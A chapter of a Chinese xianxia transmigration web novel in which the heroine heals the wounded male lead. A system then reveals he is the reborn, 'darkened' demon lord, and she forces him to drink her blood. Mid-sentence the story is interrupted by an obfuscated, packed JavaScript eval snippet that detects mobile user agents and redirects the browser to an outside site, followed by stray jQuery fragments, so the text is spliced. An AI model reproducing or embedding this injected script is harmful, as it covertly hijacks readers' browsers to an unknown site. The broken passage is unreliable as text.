2. 心存妄想
作品:《救赎文,但与黑化男主互演》 珈容弛在雾魔被悉数杀死后重伤遁逃。
陆晏禾并未打算去追,而是转头走向了枯树下那几乎是血人般的季云徵。
灵光闪过,清洁咒丢在少年的脸上,让陆晏禾瞧清楚了他的容貌。
他双眼紧阖,长睫垂落映出细密的阴影,额间碎发下是张似经月色刻意雕琢过的俊美脸庞,流墨般的长发散开垂落。
与原书画面中那人有八九分相似,只是多了几分少年稚气,少了不加遮掩的暴戾与杀意,确实是季云徵无误。
季云徵因失血而苍白的脸上唇紧紧抿起,呼吸微弱,胸口狰狞的伤几乎贯穿身体,染红全身衣物。
靠至近前浓郁的血腥气让陆晏禾皱了皱眉,她抬手快速点了几处穴位止血。
“要死了要死了,这……这还有救吗?”白鼬探出头,垂在身后的长尾焦急地啪嗒啪嗒拍打着。
“死不了。”陆晏禾俯下身,自随身锦囊中取出数颗护心丹与回灵丹,抬起季云徵的头,捏住他的下颌将丹药送了进去,又取出水囊中清水送服。
她并未停下手,转而刺啦撕开季云徵衣服,取出几味药草敷在季云徵的几处伤口处,只是她的手法过于粗糙,下的力道也重了些。
昏迷中的季云徵双眉紧蹙,几声沉闷的痛哼声从唇间溢出,紧闭的双眸长睫簌簌,额头上渗出细密的汗。
“嘶……”白鼬欲言又止,总觉得陆晏禾的力道多少有些公报私仇的意味。
陆晏禾处理好别处,便开始涂抹最严重的胸口贯穿伤。
即便她稍稍放轻了力道,身下的少年还是被刺激得浑身颤抖,昏迷中的双手痛苦地乱抓。
抓到了陆晏禾的手臂。
陆晏禾错愕,欲将手臂抽出,不期少年昏睡的身体竟然有着极大的力道,将自己的手扣的紧紧。
仿佛溺水之人抱住浮木般,死命不肯放手。
“疼……”他像是无意识的喊出了声,带着痛苦与惶然。
陆晏禾的动作顿住,这才垂下头认真看了一眼季云徵。
季云徵骨龄不过十七八岁,照魔族的寿命来看还是个稚童的年龄,但其实身量也就差了自己一个头。
或许是因为常年的艰苦生活以至于有些营养不良,现下被他抱住时只觉得他浑身上下的骨头都硌得慌。
陆晏禾默认了他抱住自己手臂的动作,继续替他上药。
“宿主你身上的丹药和药材也是真多。”白鼬在她肩头左瞧右探,发出了情不自禁的惊叹声,“你不是纯剑修吗?”
然后,它又想起什么,恍然道,“谢今辞就是医修。”
谢今辞,陆晏禾的亲传弟子。
经它提醒,陆晏禾重新打量了眼季云徵,而后抽出一张传音符输进灵力,符咒亮起。
“师尊?”传音符对面,温和的男声响起,“师尊现下在何处?”
陆晏禾告知了大致位置,“碰上了魔族。”
对面的声音立即带了几分凝重,“魔族?莫非是偷溜进界中的魔族?师尊可曾受伤?”
“无碍,大都杀了,有一高阶魔族遁走,你派人查探附近城镇有无异常,重点……岩沂村。”
她记得原书中季云徵便是从那村中逃出的。
“是,师尊。”传音符对面,谢今辞似乎松了口气,很快应下。
传音符用毕无风自燃,陆晏禾盯着手中火光,忽然想起了书中结局,谢今辞原是可以不用死的。
彼时剧情中,季云徵欲杀谁已无人可拦,但比起陆晏禾的对季云徵的折磨,她的徒弟谢今辞曾对季云徵多加照拂,季云徵也本想留他一命。
可谢今辞横剑挡在陆晏禾身前,与季云徵沉默对视,只言道。
“师尊于我,前有救命之恩,后有教养之恩。”
“你若执意杀她,先杀我。”
谢今辞无论如何都要护住陆晏禾,以至最后替陆晏禾受了季云徵原本应该落在她身上的一掌,身陨。
自己的这个徒弟,是个在任何事上都无可挑剔的人,直至他最后握住陆晏禾的手。
“师尊……”
画面中,谢今辞躺在陆晏禾的怀中,嘴角殷红汩汩流下,似片片红梅落雪,猩红刺目。
随着他的气息逐渐弱下,谢今辞眼中依旧带着温和且淡的笑意。
“其实我……一直都不想……当您的弟子。”
“对您……存有妄想,心悦……于您。”
他涣散的眸子刹那间清亮几分,破碎的额纹却逐渐黯淡,昭示着这只是所谓的回光返照。
“时至今日说出……还请……师尊……勿怪。”
谢今辞的瞳孔缓缓失了焦,直至最后的光芒彻底被黑暗吞噬。
那日漫天的火光终是燃尽,成了簌簌落下的灰烬。
“咳咳咳!!!”
随着手臂一沉,剧烈的咳嗽声打断了陆晏禾的思绪,垂头看去,季云徵双睫微颤,竟在此刻醒了过来。
伤成这样还能醒得这么快?
她分明记得,原书剧情里季云徵苏醒后便在玄清宗了,并没有这段多余的剧情。
陆晏禾回神,心中讶异。
“你……”少年睁开眼,低哑的嗓音带着几分恍惚。
他眉眼处先前的冰冷悄然消融,此时的双眸湿漉,氤氲着朦胧的雾气,显然是不算太过清醒的样子。
“醒了?感觉如何?”陆晏禾开口询问。
“多……多谢。”季云徵挣扎着想要起身道谢,被陆晏禾按住。
“不必。”陆晏禾例行发问,“此地人烟稀少,你为何独身一人被魔族追杀?魔族从何而来?”
季云徵眸光狠狠颤动了一下,像是骤然清醒过来,原本恢复了几分血色的脸又飞速变白。
“我自岩沂村而来,五日前夜里,村中出现了魔族。”
“我……躲入地窖中寻机逃走,他们还是追了上来。”
言至此处,他的情绪激动起来,以至于扯到了伤口处,伴随着沉闷的抽气声,少年眼前一黑就朝着陆晏禾方向倒来。
陆晏禾接住他,让他靠在自己怀中喘息回劲。
然而下一刻,系统的提示音叮的响起。
【男主黑化修正系统正式激活。】
【经检测,当前男主黑化值:6915】
陆晏禾:“……”
系统:“……”
“不是,男主的初始黑化值为什么会这么高?!”系统惊恐。
“难道是童年阴影导致的,不对啊,就算如此也不该这么高啊?”
陆晏禾心中咯噔一下,与系统意识交流道,“有留存上个时间线黑化季云徵的数值么,比对看看。”
系统也猛然意识到什么,在后台噼里啪啦一顿操作,在看清那留存的数值后,冷汗唰的流了下来。
“宿主,这个季云徵他……他好像……”系统难以置信,结结巴巴开口道,“是上个版本的!!”
而且……
【黑化值+2】
【黑化值+2】
【黑化值+2】
他的黑化值怎么还在涨?!
在陆晏禾的视线死角,季云徵额发凌乱垂落,如夜色浸染的鸦羽,半掩住其苍白的面容。
长睫低垂,在眼睑投下暗色,似幽潭深处游曳蛇影,蛰伏于阴翳处,淬毒的猩红正嘶嘶吐着信。
这具躯壳,太过脆弱了。
身上的剧痛潮水般层层上涌,珈容云徵心中嫌弃。
现在的季云徵,只有他自己知道,他的内芯,是拥有之前记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563093|171401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忆的魔君珈容云徵。
他记不清自己为何会回到自己的少年时期,只依稀感觉到自己似乎是死了,意识混沌许久才进入了这具躯壳中。
自己为何而死?又为何没有彻底死去?他不记得了。
重活一世,他意识到身上修为虽也意外继承,但其上多了十一道无形且难以突破的枷锁,这具身体,如今太过孱弱,连低等魔族都可随意绞杀他。
为了摆脱追杀,他不得不依之前记忆来到这里,等待着某个人的出现。
果真,陆晏禾,她出现了。
只是似乎和从前有了些偏差,自己这次受的伤更重了些。
但比起过去醒来便在玄清宗不同,比原来更加强大的灵识只是让他失去了片刻意识。
他能感受到陆晏禾给自己喂药,涂抹伤口,但神使鬼差的,他没有睁开眼,顺从的由她摆布,实则观察陆晏禾动作。
然后他便听到了陆晏禾传音谢今辞的声音。
谢今辞。
呵……那是个对自己师尊心存僭越龌龊之心,虚伪至极的徒弟。
他没能忘记上一世谢今辞死在陆晏禾怀中的那一幕以及陆晏禾当时的神情。
或是对这对师徒情感过于不耻,又想到陆晏禾对此一无所知,季云徵便莫名生烦。
于是,他忍不住睁开眼睛,打断这一切。
不能让谢今辞靠近陆晏禾,需得让他离的越远越好。
他阴暗的心思盘旋着,忽然背脊一僵,猛地弓起身体,额上青筋暴起,只觉得魂魄似乎被一柄利刃豁然劈开,剧痛瞬间席卷全身。
只瞬间他便明白了,是魂魄排异。
季云徵脑中嗡鸣响起,双眼浮现出血丝,身体排异的状态下,眼底深处隐隐泛起红光,以内魔气翻涌,竟是有失控的前兆。
不能……至少现在还不行……
下一刻,季云徵周遭灵力波动,身体当场僵直,全身气力像被瞬间抽走。
他的眸光猛地凝滞,眼角的余光扫到了陆晏禾指尖残留的定身术冰蓝灵光,瞳孔缩紧,浑身的气息凌乱。
身体被陆晏禾扶起,在两人视线相接刹那,季云徵看清了陆晏禾凑近时掀起的羽睫下眼底的暗色,像是淬了毒的蛛丝,丝丝缕缕将他缠紧。
“你身上的血……果然很香啊。”陆晏禾唇角勾起抹笑意,语调不明意味。
季云徵晃了晃神,下一刻唇上压下一片温软,惊起识海惊涛骇浪,而后定身术的作用下被毫无抵抗的撬开紧闭的齿关。
季云徵瞳孔震颤,伴随着舌尖处传来的刺痛,血腥之气顿时在唇齿间蔓延开来。
除了他的血,还有陆晏禾的血。
定身咒的周围闪出噼啪蓝光,季云徵因被定住而不得不睁开的双眼中除了惊愕更多的毫不掩饰的抗拒。
然而他方才蓄起抵抗的灵力,陆晏禾掐住了他的脖子,声音在他的识海之中响起,不容置疑。
“把血,喝下去。”
强势与逼迫的神态,和季云徵前世记忆中的陆晏禾一般无二。
可季云徵却突然不挣扎了,因当他被迫咽下陆晏禾的血之时,清晰的感受到了——
“咔哒。”
原本禁锢住他修为的十一道枷锁,最底部的那道竟应声解了开来。
远处夜幕忽而划过零星几点流光,随后伴随着破空之声,转瞬间数十道剑影出现,似寒星曳地,落于陆晏禾几丈之远。
为首之人身着一身黑衫,收剑朝陆晏禾看来,眼中倨傲,满是不耐道。
“纪禾,你竟敢违背行令擅自行动,目无规矩,该当何罪?”
说完,他看到了已被陆晏禾强行逼着喝下血后解除定身术,正剧烈咳嗽的季云徵,皱起了眉。
“他是谁?”